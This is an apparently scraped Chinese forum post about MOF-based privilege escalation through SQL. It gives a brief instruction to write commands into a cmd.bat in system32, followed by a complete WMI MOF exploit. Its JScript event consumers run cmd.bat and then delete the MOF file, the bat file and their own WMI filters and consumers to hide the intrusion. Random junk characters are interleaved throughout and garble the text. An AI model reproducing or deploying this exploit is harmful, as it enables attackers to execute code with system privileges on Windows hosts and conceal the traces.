这个sql提权MOF需要运行 system下的文件,不能定义路径。
/ n6 J& p; l* ~' u8 j需要将要运行的命令写入到bat上传到system32目录,然后执行。 H7 N" k! G o- e! t: x
9 h( d. ?* y6 }% Y+ S! V这个sql提权MOF需要运行 system下的文件,不能定义路径。
4 f" o1 K' q5 p' q5 |) ~- q需要将要运行的命令写入到bat上传到system32目录,然后执行。. J& ~. |' P1 B9 B
# ~: }! }, Q/ P
#pragma
; Z3 B( {" N; f6 D! G namespace("\\\\.\\root\\cimv2")9 F) [# q5 q4 `- s" Q; h
class
) [' c; W' K% H MyClass5477 ]( K7 U; u3 ]7 d$ e, Y
{ [key]
6 ]/ Z$ c$ F) s; R# N! \ f6 S string* @4 P. e" @2 m0 t$ h, g3 f
Name;- i- z' K: w) G) d y5 A/ F4 b
};
; u/ R/ l( x' T# T class
9 m9 V1 R6 j8 x ActiveScriptEventConsumer
+ [3 y; e0 `, w+ D# d0 Q : __EventConsumer { [key]
9 i8 n& Y' ~4 Y; H4 z6 E) } string
" y* A7 G, k4 T/ ~ Name; [not_null]
. ~$ W F \! X" Z( U string
) t* K4 q/ j( _3 e) K S' O& O ScriptingEngine; string; p. F8 @4 r0 b2 G' c
ScriptFileName; [template]/ p# C1 K: q! s8 A3 p
string
% U* }+ u7 m7 U. x ScriptText; uint32 KillTimeout;
! e u/ N. |2 c }; instance of __Win32Provider as $P {
9 H2 Z( a% z+ c) ?3 d- H W Name$ f8 ~" i5 s z- Y5 p6 {& z
=
% F6 n1 Y* Y2 R) O; w) f/ ?& x "ActiveScriptEventConsumer"; CLSID =/ E* X+ ?0 S" B0 Q8 Q) A# Z" S
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
+ Q% {3 G, j3 i5 b PerUserInitialization
* D9 Q/ p6 D# B0 `- F9 | = TRUE;
3 M9 y0 o' c; V6 m! x8 Q }; instance of __EventConsumerProviderRegistration { Provider
; {& i! [5 K# c& i: g' g( q = $P; ConsumerClassNames
% q$ l* l' c. ] =5 _" F; d# L5 _+ T. j5 H
{"ActiveScriptEventConsumer"};# e5 _: W" B7 S
};) ^% Z* c5 @9 i) ]) n; J$ R9 G g
Instance of ActiveScriptEventConsumer, A1 w' a' ~: }' m2 i% i) t; y
as $cons { Name
- ?2 R1 P/ K/ w$ M/ f" K' B4 h5 v =
" M: L; r" o' o' o1 e "ASEC"; ScriptingEngine
; w( t% V' L# m$ e/ V% V- J1 i =& G# V" f2 f# C
"JScript"; ScriptText1 X9 o. c1 d! M+ \# x
=
6 k, |* M* N( O0 \- u0 l7 [. b* \ "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
6 B% f# G) Q- s2 f' B, d# D( v Instance of ActiveScriptEventConsumer
5 L: s- r3 s: V" p* u! C' R$ b as $cons2 { Name
* b9 n9 E$ {" k \3 W9 {6 ` =
% n, ^; J& }- h+ { "qndASEC"; ScriptingEngine
! `9 I# |$ t$ l- J. I =
' G- X9 j& J+ u, r "JScript"; ScriptText& e5 s" }8 A3 _0 K3 z# n J! T
=" _3 P1 U# u8 b5 D
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";; T' C0 f: ~" O' {9 l6 W
}; instance of __EventFilter as $Filt { Name
5 u+ a7 `& B/ a; C8 [1 y( t8 z =1 C. T+ X3 f. o2 t" }
"instfilt"; Query
! r0 r% z6 B: ?$ K; J2 ` =! n0 M( j; k) C0 b" p* f! ]3 {7 N
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage& z& y; O, Z/ w: \0 G3 u4 F& F" N
=
* ^( I7 b' _- j- X "WQL"; }; instance of __EventFilter as $Filt2 { Name
8 D C" A0 g4 e/ E1 P" \ =
) O7 ]" R% D! Y% I. ]* m; G "qndfilt"; Query' W' Z" P% L) M
=) ~' y. y& V- s
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage" [. x# I' ^4 d" T! C( u
=. i1 ] f7 P* f3 n, U
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer2 i: D1 }9 R+ w' N
= $cons; Filter
$ E$ |, Z0 v1 p3 U% \ = $Filt;
3 Q9 J/ ?& b9 N! P }; instance of __FilterToConsumerBinding as $bind2 { Consumer
* I0 D# f, S2 _ P" S = $cons2; Filter
2 m8 c4 Q+ j m: m, {6 g = $Filt2;
1 y3 I [) I' `9 `" w# u }; instance of MyClass547* F$ V. @, v: Z0 E }
as $MyClass { Name
v- e6 `, l& M' I =
# R' X5 w2 [2 y5 H. A1 n7 w "ClassConsumer";
4 w' l( h2 U' p, [! n7 ]8 b }; |